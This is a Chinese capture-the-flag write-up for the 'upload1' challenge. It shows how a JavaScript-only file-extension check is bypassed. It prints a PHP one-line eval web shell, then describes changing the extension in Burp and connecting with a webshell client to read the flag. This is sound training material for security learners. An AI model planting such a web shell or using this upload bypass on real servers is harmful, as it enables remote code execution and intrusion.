upload1

[src = 攻防世界] upload1

WP

明显的文件上传漏洞。本题是基于js的前段校验。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;

alert('请选择一张图片文件上传!');
}

只允许jpg和png格式,但是我们知道前段校验可以非常容易对绕过。我们首先写一个一句话木马:

1
<?php @eval($_POST['bitsec']);?>

然后将文件后缀改为jpg,然后设置代理,通过burp进行抓包,如图

upload1

将其中的后缀改为php,然后forward即可上传成功,如图。

upload1

页面回显:upload success : upload/1573961293.123.php

通过中国菜刀等webshell工具连接成功,如图:

upload1

访问目录,发现flag.php文件,打开就得到flag:

upload1